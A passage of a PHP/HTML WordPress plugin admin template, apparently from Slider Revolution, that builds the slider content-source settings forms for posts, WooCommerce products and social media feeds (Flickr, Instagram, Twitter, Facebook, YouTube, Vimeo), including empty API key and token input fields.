						<div class="collapsable">
							<div id="post_subtype_settings_wrapper">
								<label_a><?php _e('Fetch By', 'revslider');?></label_a><select id="post_fetch_type" name="post_fetch_type" class="sliderinput tos2 nosearchbox easyinit" data-r="source.post.fetchType" data-show=".fetch_ .*val*_" data-hide=".fetch_ .dep_">
									<option value="cat_tag"><?php _e('Categories & Tags', 'revslider');?></option>
									<option value="related"><?php _e('Related', 'revslider');?></option>
									<option value="popular"><?php _e('Popular', 'revslider');?></option>
									<option value="recent"><?php _e('Recent', 'revslider');?></option>
									<option value="next_prev"><?php _e('Next / Previous', 'revslider');?></option>
								</select><span class="linebreak"></span>
								<div class="fetch_dependencies fetch_cat_tag_settings">
									<label_a><?php _e('Post Types:', 'revslider');?></label_a><select id="post_types" name="post_types" multiple  data-evt="updateSourcePostCategories" class="sliderinput tos2 searchbox easyinit" data-r="source.post.types">
										<?php
if (!empty($post_type)) {
	foreach ($post_type as $post_handle => $post_name) {
		echo '<option value="' . $post_handle . '">' . $post_name . '</option>';
	}
}
?>
									</select><span class="linebreak"></span>
									<label_a><?php _e('Categories:', 'revslider');?></label_a><select id="post_category" name="post_category" multiple class="sliderinput tos2 nosearchbox easyinit" data-r="source.post.category"></select><span class="linebreak"></span>
								</div>
							</div>
							<div id="specificpost_subtype_settings_wrapper">
								<label_a><?php _e('Specific Posts', 'revslider');?></label_a><input class="sliderinput  fullinput easyinit" data-r="source.post.list" type="text" placeholder="<?php _e('coma separated list | ex: 23,24,25', 'revslider');?>" id="sr_source_post_list"><span class="linebreak"></span>
								<label_a></label_a><div class="basic_action_button extendval" data-extendval="<?php echo implode(',', $popular); ?>" data-inp="#sr_source_post_list"><i class="material-icons">add_circle</i><?php _e('Popular Posts', 'revslider');?></div>
								<label_a></label_a><div class="basic_action_button extendval" data-extendval="<?php echo implode(',', $recent); ?>" data-inp="#sr_source_post_list"><i class="material-icons">add_circle</i><?php _e('Recent Posts', 'revslider');?></div>
							</div>
						</div>
					</div><!-- END OF POST SELECTION -->

					<div class="fetch_">
						<!-- POST SORTIN AND SETTINGS -->
						<div id="form_slider_content_post_sort" data-evt="loadStreamDependencies" class="form_inner open">
							<div class="form_inner_header"><i class="material-icons">sort_by_alpha</i><?php _e('Sorting & Settings', 'revslider');?></div>
							<div style="display:none" class="form_intoaccordion" data-trigger="#slr_fsc_l3"><i class="material-icons">arrow_drop_down</i></div>
							<div class="collapsable">
								<div class="sorts_ dep_ cat_tag_ related_">
									<label_a><?php _e('Sort Posts By:', 'revslider');?></label_a><select id="post_sortby" name="post_sortby" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.post.sortBy">
										<option value="ID"><?php _e('Post ID', 'revslider');?></option>
										<option value="date"><?php _e('Date', 'revslider');?></option>
										<option value="title"><?php _e('Title', 'revslider');?></option>
										<option value="name"><?php _e('Slug', 'revslider');?></option>
										<option value="author" ><?php _e('Author', 'revslider');?></option>
										<option value="modified"><?php _e('Last Modified', 'revslider');?></option>
										<option value="comment_count"><?php _e('Number Of Comments', 'revslider');?></option>
										<option value="rand"><?php _e('Random', 'revslider');?></option>
										<option value="none"><?php _e('Unsorted', 'revslider');?></option>
										<option value="menu_order"><?php _e('Custom Order', 'revslider');?></option>
										<?php
if (RevSliderEventsManager::isEventsExists()) {
	$arrEMSortBy = RevSliderEventsManager::getArrSortBy();
	if (!empty($arrEMSortBy)) {
		foreach ($arrEMSortBy as $event_handle => $event_name) {
			echo '<option value="' . $event_handle . '">' . $event_name . '</option>';
		}
	}
}
?>
									</select>
									<span class="linebreak"></span>
								</div>
								<div class="sorts_ dep_ cat_tag_ related_"><label_a><?php _e('Sort Direction', 'revslider');?></label_a>
									<div class="radiooption">
										<div id="srcpostsortdirections_DESC"><input data-r="source.post.sortDirection" type="radio" value="DESC" name="slidersourcesortDirection" class="easyinit sliderinput" ><label_sub><?php _e('Descending', 'revslider');?></label_sub></div>
										<div id="srcpostsortdirections_ASC"><input data-r="source.post.sortDirection" type="radio" value="ASC" name="slidersourcesortDirection" class="easyinit sliderinput"><label_sub><?php _e('Ascending', 'revslider');?></label_sub></div>
									</div>
									<div class="div15"></div>
								</div>
								<div class="sorts_ dep_ cat_tag_ related_ popular_ recent_"><label_a><?php _e('Max Posts', 'revslider');?></label_a><input class="sliderinput valueduekeyboard smallinput easyinit" data-r="source.post.maxPosts" data-min="0" data-max="500" type="text" id="sr_source_post_maxposts"><span class="linebreak"></span></div>
								<div class="sorts_ dep_ cat_tag_ related_ popular_ recent_"><label_a><?php _e('Limit Excerpt', 'revslider');?></label_a><input data-allowed="chars,words" data-numeric="true" class="sliderinput valueduekeyboard smallinput easyinit" data-r="source.post.excerptLimit" data-min="0" data-max="500" type="text" id="sr_source_post_limitexc"><span class="linebreak"></span></div>
							</div>
						</div>		<!-- END OF POST SORTING AND SETTINGS -->
					</div><!-- END OF FETCH CONTAINER -->
				</div>
			</div><!-- END OF VISIBILITY POST SELECTION -->


			<!-- CUSTOM SETTINGS-->
			<div id="source_gallery_settings" class="source_subsetting_wrapper" style="display:none">
				<div class="form_inner open">
					<div class="collapsable">
						<row class="direktrow">
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('No further source settings needed. Content is created manually.', 'revslider');?></div></contenthalf>
						</row>
					</div>
				</div>
			</div><!-- END OF CUSTOM SETTINGS -->

			<!-- WOO VISIBILITY -->
			<div id="source_woo_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- WOOCOMMERCE TYPE AND CATEGORIES-->
				<div id="form_slider_content_woo_tandc" data-evt="loadStreamDependencies" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">label</i><?php _e('Types & Categories', 'revslider');?></div>
					<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l4"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">

						<label_a><?php _e('Types', 'revslider');?></label_a><select id="woo_types" name="woo_types" multiple  data-evt="updateSourceWooCategories" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.woo.types">
							<?php
$woo_type = RevSliderWooCommerce::getCustomPostTypes();
if (!empty($woo_type)) {
	foreach ($woo_type as $post_handle => $post_name) {
		echo '<option value="' . $post_handle . '">' . $post_name . '</option>';
	}
}
?>
						</select>


						<label_a><?php _e('Product Categories', 'revslider');?></label_a><select id="woo_category" name="woo_category" multiple data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.woo.category"></select>
					</div>
				</div><!-- END OF WOOCOMMERCE TYPE AND CATEGORIES-->

				<!-- WOO FILTERS -->
				<div id="form_slider_content_woo_filters" data-evt="loadStreamDependencies" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">filter_list</i><?php _e('Filters', 'revslider');?></div>
					<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l5"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<row class="direktrow">
							<onelong><label_a><?php _e('Regular Price', 'revslider');?></label_a><input class=" sliderinput valueduekeyboard smallinput easyinit" data-r="source.woo.regPriceFrom" data-min="0" data-max="9999999" placeholder="<?php _e('From', 'revslider');?>" type="text" id="sr_source_woo_regPriceFrom"></onelong>
							<oneshort><input class=" sliderinput valueduekeyboard smallinput easyinit" placeholder="<?php _e('To', 'revslider');?>"  data-r="source.woo.regPriceTo" data-min="0" data-max="9999999" type="text" id="sr_source_woo_regPriceTo"><span class="linebreak"></span></oneshort>
						</row>
						<row class="direktrow">
							<onelong><label_a><?php _e('Sale Price', 'revslider');?></label_a><input class=" sliderinput valueduekeyboard smallinput easyinit" data-r="source.woo.salePriceFrom" data-min="0" data-max="9999999" placeholder="<?php _e('From', 'revslider');?>"  type="text" id="sr_source_woo_salePriceFrom"></onelong>
							<oneshort><input class=" sliderinput valueduekeyboard smallinput easyinit" placeholder="<?php _e('To', 'revslider');?>"  data-r="source.woo.salePriceTo" data-min="0" data-max="9999999" type="text" id="sr_source_woo_salePriceTo"></oneshort>
						</row>
						<label_a><?php _e('In Stock Only', 'revslider');?></label_a><input type="checkbox"  id="sr_woo_stock" class="sliderinput easyinit" data-r="source.woo.inStockOnly"/><span class="linebreak"></span>
						<label_a><?php _e('Featured Only', 'revslider');?></label_a><input type="checkbox"  id="sr_woo_feat" class="sliderinput easyinit" data-r="source.woo.featuredOnly" /><span class="linebreak"></span>
					</div>
				</div><!-- END OF WOO FILTERS -->
				<!-- WOO SORT -->
				<div id="form_slider_content_woo_sort" data-evt="loadStreamDependencies" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">sort_by_alpha</i><?php _e('Sorting & Limitations', 'revslider');?></div>
					<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l6"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Sort Prod. By', 'revslider');?></label_a><select id="woo_sortby" name="woo_sortby" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.woo.sortBy">
							<?php
foreach ($wc_sortby as $wc_val => $wc_name) {
	?>
									<option value="<?php echo $wc_val; ?>"><?php echo $wc_name; ?></option>
									<?php
}
?>
							<option value="ID" selected="selected"><?php _e('Post ID', 'revslider');?></option>
							<option value="date"><?php _e('Date', 'revslider');?></option>
							<option value="title"><?php _e('Title', 'revslider');?></option>
							<option value="name"><?php _e('Slug', 'revslider');?></option>
							<option value="author"><?php _e('Author', 'revslider');?></option>
							<option value="modified"><?php _e('Last Modified', 'revslider');?></option>
							<option value="comment_count"><?php _e('Number Of Comments', 'revslider');?></option>
							<option value="rand"><?php _e('Random', 'revslider');?></option>
							<option value="none"><?php _e('Unsorted', 'revslider');?></option>
							<option value="menu_order"><?php _e('Custom Order', 'revslider');?></option>
						</select><span class="linebreak"></span>
						<label_a><?php _e('Sort Direction', 'revslider');?></label_a>
						<div class="radiooption">
							<div><input data-r="source.woo.sortDirection" type="radio" value="DESC" name="slidersourcesortwooDirection" class="easyinit sliderinput" ><label_sub><?php _e('Descending', 'revslider');?></label_sub></div>
							<div><input data-r="source.woo.sortDirection" type="radio" value="ASC" name="slidersourcesortwooDirection" class="easyinit sliderinput"><label_sub><?php _e('Ascending', 'revslider');?></label_sub></div>
						</div>
						<div class="div15"></div>
						<label_a><?php _e('Max Posts', 'revslider');?></label_a><input class="sliderinput valueduekeyboard smallinput easyinit" data-r="source.woo.maxProducts" data-min="0" data-max="500" type="text" id="sr_source_woo_maxposts"><span class="linebreak"></span>
						<label_a><?php _e('Limit Excerpt', 'revslider');?></label_a><input class="sliderinput valueduekeyboard smallinput easyinit" data-r="source.woo.excerptLimit" data-min="0" data-max="500" type="text" id="sr_source_woo_limitexc"><span class="linebreak"></span>
					</div>
				</div><!-- END OF WOO SORT -->
			</div><!-- END OF WOOCOMMERCE VISIBILITY -->

			<!-- FLICKR SETTINGS -->
			<div id="source_flickr_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- FLICKR SETTINGS-->
				<div id="form_slider_content_flickr" data-evt="loadStreamDependencies" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">vpn_key</i><?php _e('Flickr Settings', 'revslider');?></div>
					<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l7"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Slides', 'revslider');?></label_a><input placeholder="<?php _e('Amount of Slides', 'revslider');?>" class="sliderinput valueduekeyboard  easyinit" data-r="source.flickr.count" data-min="0" data-max="500" type="text" id="sr_source_flickr_count"><span class="linebreak"></span>
						<label_a><?php _e('Cache (sec)', 'revslider');?></label_a><input placeholder="<?php _e('i.e. 1200', 'revslider');?>" class="sliderinput valueduekeyboard  easyinit" data-r="source.flickr.transient" data-min="0" data-max="500" type="text" id="sr_source_flickr_transient"><span class="linebreak"></span>
						<label_a><?php _e('API Key', 'revslider');?></label_a><input placeholder="<?php _e('Enter your Api Key', 'revslider');?>" data-evt="flickrsourcechange" class="sliderinput easyinit" data-r="source.flickr.apiKey"  type="text" id="sr_source_flickr_apikey"><span class="linebreak"></span>
						<label_a><?php _e('Source', 'revslider');?></label_a><select id="flickr-type" data-evt="flickrsourcechange" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.flickr.type" data-show=".flickr_*val*" data-hide=".flickr_source_settings">
							<option value="publicphotos" title="<?php _e('Display a user\'s public photos', 'revslider');?>"><?php _e('User Public Photos', 'revslider');?></option>
							<option value="photosets" title="<?php _e('Display a certain photoset from a user', 'revslider');?>" selected="selected"><?php _e('User Photoset', 'revslider');?></option>
							<option value="gallery" title="<?php _e('Display a gallery', 'revslider');?>"><?php _e('Gallery', 'revslider');?></option>
							<option value="group" title="<?php _e('Display a group\'s photos', 'revslider');?>"><?php _e('Groups\' Photos', 'revslider');?></option>
						</select>
						<div class="flickr_source_settings flickr_publicphotos flickr_photosets">
							<label_a><?php _e('User URL:', 'revslider');?></label_a><input placeholder="<?php _e('Enter User URL', 'revslider');?>" data-r="source.flickr.userURL" data-evt="flickrsourcechange" type="text"  name="sr_src_flick_userurl" class="easyinit sliderinput"><span class="linebreak"></span>
							<div class="flickr_source_settings flickr_photosets">
								<label_a><?php _e('Photoset', 'revslider');?></label_a><select placeholder="<?php _e('Pick an Item', 'revslider');?>" id="sr_src_flickr_photoset" name="sr_src_flickr_photoset" data-theme="wideopentos2" class="sliderinput tos2 searchbox easyinit" data-r="source.flickr.photoSet"></select>
							</div>
						</div>
						<div class="flickr_source_settings flickr_gallery">
							<label_a><?php _e('Gallery URL', 'revslider');?></label_a><input placeholder="<?php _e('Enter Gallery URL', 'revslider');?>" data-r="source.flickr.galleryURL" type="text"  name="sr_src_flick_galleryurl" class="easyinit sliderinput"><span class="linebreak"></span>
						</div>
						<div class="flickr_source_settings flickr_group">
							<label_a><?php _e('Group URL', 'revslider');?></label_a><input placeholder="<?php _e('Enter Group URL', 'revslider');?>" data-r="source.flickr.groupURL" type="text"  name="sr_src_flick_groupyurl" class="easyinit sliderinput"><span class="linebreak"></span>
						</div>
						<div class="div10"></div>
						<row class="direktrow">
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('Read <a target="_blank" rel="noopener" href="http://weblizar.com/get-flickr-api-key/">here</a> how to receive your Flickr API key', 'revslider');?></div></contenthalf>
						</row>

					</div> <!-- END OF COLLAPSE -->
				</div> <!-- END OF FLICKR SETTINGS -->
			</div><!-- END OF FLICKR VISIBILITY -->

			<!-- INSTAGRAM VISIVBILTY -->
			<div id="source_instagram_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- INSTAGRAM SETTINGS -->
				<div id="form_slider_content_insta" data-evt="loadStreamDependencies" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">vpn_key</i><?php _e('Instagram Settings', 'revslider');?></div>
				<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l8"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Slides(<=33):', 'revslider');?></label_a><input placeholder="<?php _e('Amount of Slides', 'revslider');?>" class="sliderinput valueduekeyboard  easyinit" data-r="source.instagram.count" data-min="0" data-max="500" type="text" id="sr_source_instagram_count"><span class="linebreak"></span>
						<label_a><?php _e('Cache (sec):', 'revslider');?></label_a><input placeholder="<?php _e('i.e. 1200', 'revslider');?>" class="sliderinput valueduekeyboard  easyinit" data-r="source.instagram.transient" data-min="0" data-max="500" type="text" id="sr_source_instagram_transient"><span class="linebreak"></span>
						<input type="text" id="instagram-type" class="sliderinput valueduekeyboard easyinit" data-r="source.instagram.type" style="display: none;" />
						<label_a><?php _e('Token Source', 'revslider')?></label_a><select id="sr_source_instagram_token_source"  class="sliderinput easyinit tos2 nosearchbox" data-show=".token_source_*val*" data-hide=".token_source_container" data-r="source.instagram.token_source">
							<option value="account" selected="selected"><?php _e('From Account', 'revslider');?></option>
							<option value="manual"><?php _e('Manual', 'revslider');?></option>
						</select><span class="linebreak"></span>
						<div class="token_source_container token_source_account">
							<label_a><?php _e('Connected To', 'revslider');?></label_a><input type="text" placeholder="<?php _e('Not yet Connected', 'revslider');?>" id="intagram_connect_with" class="sliderinput valueduekeyboard easyinit" data-r="source.instagram.connect_with" disabled />
							<row>
								<div id="get_insta_token" class="basic_action_button fullbutton save_and_goto_button" data-goto="<?php echo RevSliderInstagram::get_login_url(); ?>"><i class="material-icons">person_add</i><?php _e('Connect an Instagram Account', 'revslider' ); ?></div>
							</row>
							<row>
								<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
								<contenthalf><div class="function_info"><?php _e('You will be redirected to Instagram and then back to the editor. Your current settings will be auto saved.', 'revslider');?></div></contenthalf>							
							</row>
						</div>
						<div class="token_source_container token_source_manual">
							<label_a><?php _e('Access Token', 'revslider');?></label_a><input placeholder="<?php _e('Enter the Access Token', 'revslider');?>" data-r="source.instagram.token" type="text" name="sr_src_instagram_token" class="easyinit sliderinput"><span class="linebreak"></span>
							<div class="div10"></div>
							<row>
								<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
																																	  
								<contenthalf><div class="function_info"><?php _e('Please check this FAQ on how to <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/faq/instagram-stream-setup-instructions-with-access-token/">generate</a> your Instagram Access Token in Facebook manually.', 'revslider');?></div></contenthalf>
							</row>
						</div>
					</div><!-- END OF COLLAPSABLE -->
				</div> <!-- END OF INSTAGRAM SETTINGS -->
			</div><!-- END OF INSTAGRAM VISIVBILTY -->


			<!-- TWITTER VISIBILITY  -->
			<div id="source_twitter_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- INSTAGRAM SETTINGS -->
				<div id="form_slider_content_twitter" data-evt="loadStreamDependencies" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">vpn_key</i><?php _e('Twitter Settings', 'revslider');?></div>
				<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l9"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Slides (<500)', 'revslider');?></label_a><input placeholder="<?php _e('Amount of Slides', 'revslider');?>" class="sliderinput valueduekeyboard  easyinit" data-r="source.twitter.count" data-min="0" data-max="500" type="text" id="sr_source_twitter_count"><span class="linebreak"></span>
						<label_a><?php _e('Cache (sec)', 'revslider');?></label_a><input placeholder="<?php _e('i.e. 1200', 'revslider');?>" class="sliderinput valueduekeyboard  easyinit" data-r="source.twitter.transient" data-min="0" data-max="500" type="text" id="sr_source_twitter_transient"><span class="linebreak"></span>
						<label_a><?php _e('Twitter @', 'revslider');?></label_a><input placeholder="<?php _e('Enter Twitter Name', 'revslider');?>" data-r="source.twitter.userId" type="text"  name="sr_src_twitter_userid" class="easyinit sliderinput"><span class="linebreak"></span>
						<label_a><?php _e('Text Tweets', 'revslider');?></label_a><input type="checkbox"  id="sr_src_twitter_imageonly" class="sliderinput easyinit" data-r="source.twitter.imageOnly"/><span class="linebreak"></span>
						<label_a><?php _e('ReTweets', 'revslider');?></label_a><input type="checkbox"  id="sr_src_twitter_includeretweets" class="sliderinput easyinit" data-r="source.twitter.includeRetweets"/><span class="linebreak"></span>
						<label_a><?php _e('Replies', 'revslider');?></label_a><input type="checkbox"  id="sr_src_twitter_excludereplies" class="sliderinput easyinit" data-r="source.twitter.excludeReplies"/><span class="linebreak"></span>
						<label_a><?php _e('Consumer Key', 'revslider');?></label_a><input placeholder="<?php _e('Enter Consumer Key', 'revslider');?>" data-r="source.twitter.consumerKey" type="text"  name="sr_src_twitter_consumerKey" class="easyinit sliderinput"><span class="linebreak"></span>
						<label_a><?php _e('Cons. Secret', 'revslider');?></label_a><input placeholder="<?php _e('Enter Secret', 'revslider');?>" data-r="source.twitter.consumerSecret" type="text"  name="sr_src_twitter_consumerSecret" class="easyinit sliderinput"><span class="linebreak"></span>
						<label_a><?php _e('Access Token', 'revslider');?></label_a><input placeholder="<?php _e('Enter Access Token', 'revslider');?>" data-r="source.twitter.accessToken" type="text"  name="sr_src_twitter_accessToken" class="easyinit sliderinput"><span class="linebreak"></span>
						<label_a><?php _e('Access Secret', 'revslider');?></label_a><input placeholder="<?php _e('Enter Access Secret', 'revslider');?>" data-r="source.twitter.accessSecret" type="text"  name="sr_src_twitter_accessSecret" class="easyinit sliderinput"><span class="linebreak"></span>
						<div class="div10"></div>
						<row class="direktrow">
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('Please <a target="_blank" rel="noopener" href="https://dev.twitter.com/apps">register</a> your application with Twitter<br>to get the right values', 'revslider');?></div></contenthalf>
						</row>
					</div><!-- END OF COLLAPSABLE -->
				</div><!-- END OF TWITTER SETTINGS -->
			</div><!-- END OF TWITTER VISIBILITY  -->

			<!-- FACEBOOK VISIBILTY -->
			<div id="source_facebook_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- FACEBOOK SETTINGS -->
				<div id="form_slider_content_facebook" data-evt="loadStreamDependencies" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">vpn_key</i><?php _e('FaceBook Settings', 'revslider');?></div>
				<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l10"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Slides (<25)', 'revslider');?></label_a><input placeholder="<?php _e('Amount of Slides', 'revslider');?>" class=" sliderinput valueduekeyboard  easyinit" data-r="source.facebook.count" data-min="0" data-max="500" type="text" id="sr_source_facebook_count"><span class="linebreak"></span>
						<label_a><?php _e('Cache (sec)', 'revslider');?></label_a><input placeholder="<?php _e('i.e. 1200', 'revslider');?>" class=" sliderinput valueduekeyboard  easyinit" data-r="source.facebook.transient" data-min="0" data-max="500" type="text" id="sr_source_facebook_transient"><span class="linebreak"></span>
						<label_a><?php _e('Source', 'revslider');?></label_a><select id="facebook-typesource" data-evt="facebooksourcechange" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.facebook.typeSource" data-show=".facebook_*val*_settings" data-hide=".facebook_source_settings">
							<option value="album"><?php _e('Album', 'revslider');?></option>
							<option value="timeline"><?php _e('TimeLine', 'revslider');?></option>
						</select>
						<div class="facebook_album_settings facebook_source_settings">
							<label_a><?php _e('Select Album', 'revslider');?></label_a><select id="sr_src_facebok_album" name="sr_src_facebok_album" data-theme="wideopentos2" class="sliderinput tos2 searchbox easyinit" data-r="source.facebook.album"></select>
						</div>
						<label_a><?php _e('Token Source', 'revslider')?></label_a><select id="sr_source_facebook_token_source"  class="sliderinput easyinit tos2 nosearchbox" data-show=".facebook_token_source_*val*" data-hide=".facebook_token_source_container" data-r="source.facebook.token_source">
							<option value="account" selected="selected"><?php _e('From Account', 'revslider');?></option>
							<option value="manual"><?php _e('Manual', 'revslider');?></option>
						</select><span class="linebreak"></span>
						<div class="facebook_token_source_container facebook_token_source_account">
							<label_a><?php _e('Connected To', 'revslider');?></label_a><input type="text" placeholder="<?php _e('Not yet Connected', 'revslider');?>" id="facebook_connect_with" class="sliderinput valueduekeyboard easyinit" data-r="source.facebook.connect_with" disabled />
							<row>
								<div id="get_facebook_token" class="basic_action_button fullbutton save_and_goto_button" data-goto="<?php echo RevSliderFacebook::get_login_url(); ?>"><i class="material-icons">person_add</i><?php _e('Connect Facebook Account', 'revslider' ); ?></div>
							</row>
							<row>
								<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
								<contenthalf><div class="function_info"><?php _e('You will be redirected to Facebook and then back to the editor. Current settings will be auto saved.', 'revslider');?></div></contenthalf>
							</row>
						</div>
						<div class="facebook_token_source_container facebook_token_source_manual">
							<label_a><?php _e('Access Token', 'revslider');?></label_a><input type="text" placeholder="<?php _e('Enter the Access Token', 'revslider');?>" data-r="source.facebook.appId"  name="sr_src_facebook_appid" class="easyinit sliderinput"><span class="linebreak"></span>
							<label_a><?php _e('Page ID', 'revslider');?></label_a><input type="text" placeholder="<?php _e('Enter Facebook Page ID', 'revslider');?>" data-r="source.facebook.page_id" name="sr_src_facebook_page_id" class="easyinit sliderinput"><span class="linebreak"></span>
							<div class="div10"></div>
							<row>
								<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
								<contenthalf><div class="function_info"><?php _e('Check the FAQ on <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/faq/facebook-stream-setup-instructions-access-token/">how to generate</a> Access Token and get Page ID.', 'revslider');?></div></contenthalf>
							</row>
						</div>

					</div><!-- END OF COLLAPSABLE -->
				</div><!-- END OF FACEBOOK SETTINGS -->
			</div><!-- END OF FACEBOOK VISIBILITY  -->

			<!-- YOUTUBE VISIBILITY -->
			<div id="source_youtube_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- YOUTUBE SETTINGS -->
				<div id="form_slider_content_youtube" data-evt="loadStreamDependencies" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">vpn_key</i><?php _e('YouTube Settings', 'revslider');?></div>
					<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l11"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Slides (<25)', 'revslider');?></label_a><input placeholder="<?php _e('Amount of Slides', 'revslider');?>" class=" sliderinput valueduekeyboard  easyinit" data-r="source.youtube.count" data-min="0" data-max="500" type="text" id="sr_source_youtube_count"><span class="linebreak"></span>
						<label_a><?php _e('Cache (sec)', 'revslider');?></label_a><input placeholder="<?php _e('i.e. 1200', 'revslider');?>" class=" sliderinput valueduekeyboard  easyinit" data-r="source.youtube.transient" data-min="0" data-max="500" type="text" id="sr_source_youtube_transient"><span class="linebreak"></span>
						<label_a><?php _e('API Key', 'revslider');?></label_a><input placeholder="<?php _e('Enter Api Key', 'revslider');?>" data-r="source.youtube.api" type="text"  data-evt="youtubesourcechange" name="sr_src_youtube_api" class="easyinit sliderinput"><span class="linebreak"></span>
						<div class="div10"></div>
						<row >
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('Find information about the YouTube API key <a target="_blank" rel="noopener" href="https://developers.google.com/youtube/v3/getting-started#before-you-start">here</a>', 'revslider');?></div></contenthalf>
						</row>
						<div class="div10"></div>
						<label_a><?php _e('Channel ID', 'revslider');?></label_a><input placeholder="<?php _e('Enter YouTube Channel ID', 'revslider');?>" data-r="source.youtube.channelId" type="text" data-evt="youtubesourcechange" name="sr_src_youtube_channelId" class="easyinit sliderinput"><span class="linebreak"></span>
						<label_a><?php _e('Source', 'revslider');?></label_a><select id="youtube-typesource" data-evt="youtubesourcechange" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.youtube.typeSource" data-show=".youtube_*val*_settings" data-hide=".youtube_source_settings">
							<option value="playlist"><?php _e('Playlist', 'revslider');?></option>
							<option value="channel"><?php _e('Channel', 'revslider');?></option>
						</select>
						<div class="youtube_playlist_settings youtube_source_settings">
							<label_a><?php _e('Select Playlist', 'revslider');?></label_a><select id="sr_src_youtube_playlist" name="sr_src_youtube_playlist" data-theme="wideopentos2" class="sliderinput tos2 searchbox easyinit" data-r="source.youtube.playList"></select>
						</div>
						<div class="div10"></div>
						<row >
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('See how to find the Youtube channel ID <a target="_blank" rel="noopener" href="https://support.google.com/youtube/answer/3250431?hl=en">here</a>', 'revslider');?></div></contenthalf>
						</row>
						<div class="div10"></div>
						<row class="direktrow">
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('The “YouTube Stream” content source is used to display a full stream of videos from a channel/playlist.<br> If you want to display a single youtube video, please select the content source “Default Slider” and add a video layer in the slide editor.', 'revslider');?></div></contenthalf>
						</row>
					</div><!-- END OF COLLAPSABLE -->
				</div><!-- END OF YOUTUBE SETTINGS -->
			</div><!-- END OF YOUTUBE VISIBILITY  -->

			<!-- VIMEO VISIBILITY -->
			<div id="source_vimeo_settings" class="source_subsetting_wrapper" style="display:none">
				<!-- VIMEO SETTINGS -->
				<div id="form_slider_content_vimeo" data-evt="loadStreamDependencies" class="form_inner open">
					<div class="form_inner_header"><i class="material-icons">vpn_key</i><?php _e('Vimeo Settings', 'revslider');?></div>
					<div style="display:none"  class="form_intoaccordion" data-trigger="#slr_fsc_l12"><i class="material-icons">arrow_drop_down</i></div>
					<div class="collapsable">
						<label_a><?php _e('Slides (<60)', 'revslider');?></label_a><input placeholder="<?php _e('Amount of Slides', 'revslider');?>" class=" sliderinput valueduekeyboard  easyinit" data-r="source.vimeo.count" data-min="0" data-max="60" type="text" id="sr_source_vimeo_count"><span class="linebreak"></span>
						<label_a><?php _e('Cache (sec)', 'revslider');?></label_a><input placeholder="<?php _e('i.e. 1200', 'revslider');?>" class=" sliderinput valueduekeyboard  easyinit" data-r="source.vimeo.transient" data-min="0" data-max="2500" type="text" id="sr_source_vimeo_transient"><span class="linebreak"></span>
						<label_a><?php _e('Source', 'revslider');?></label_a><select id="vimeo-typesource" data-theme="wideopentos2" class="sliderinput tos2 nosearchbox easyinit" data-r="source.vimeo.typeSource" data-show=".vimeo_*val*_settings" data-hide=".vimeo_source_settings">
							<option value="user"><?php _e('User', 'revslider');?></option>
							<option value="album"><?php _e('Showcase', 'revslider');?></option>
							<option value="group"><?php _e('Group', 'revslider');?></option>
							<option value="channel"><?php _e('Channel', 'revslider');?></option>
						</select>
						<div class="vimeo_user_settings vimeo_source_settings">
